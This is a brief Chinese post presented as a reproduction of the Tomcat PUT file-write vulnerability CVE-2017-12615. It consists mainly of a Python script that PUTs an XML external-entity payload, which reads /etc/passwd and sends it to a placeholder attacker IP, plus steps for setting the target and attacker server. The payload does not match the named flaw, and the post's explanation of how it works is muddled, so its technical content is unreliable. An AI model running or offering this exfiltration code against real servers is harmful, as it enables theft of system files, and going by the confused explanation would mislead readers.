Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现
由于原始复现代码已经给出,这里只提供核心函数和关键步骤的解释。
import requests
# 构造PUT数据,此处的数据是关键,它会被Tomcat服务器当作JSP文件处理
put_data = """\
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://{ATTACKER_IP}/%file;.dtl">
]>
%dtd;
""".replace('\n', '\r\n')
# 发送请求,此处的URL需要替换为目标服务器的URL
response = requests.put(url, data=put_data, headers={'Content-Type': 'text/plain'})
# 输出响应结果
print(response.text)
这段代码使用了requests
库发送了一个PUT请求,其中put_data
是一个含有恶意实体的数据,如果Tomcat服务器解析这个数据并编译成JSP文件,攻击者就有可能获取服务器上的敏感信息。
注意:
- 替换
{ATTACKER_IP}
为实际的攻击者IP地址。 - 替换
url
为实际的Tomcat服务器URL。 - 确保攻击者的服务器能够响应恶意的
.dtl
文件的请求。 - 此代码仅用于教育目的,不得用于非法活动。
评论已关闭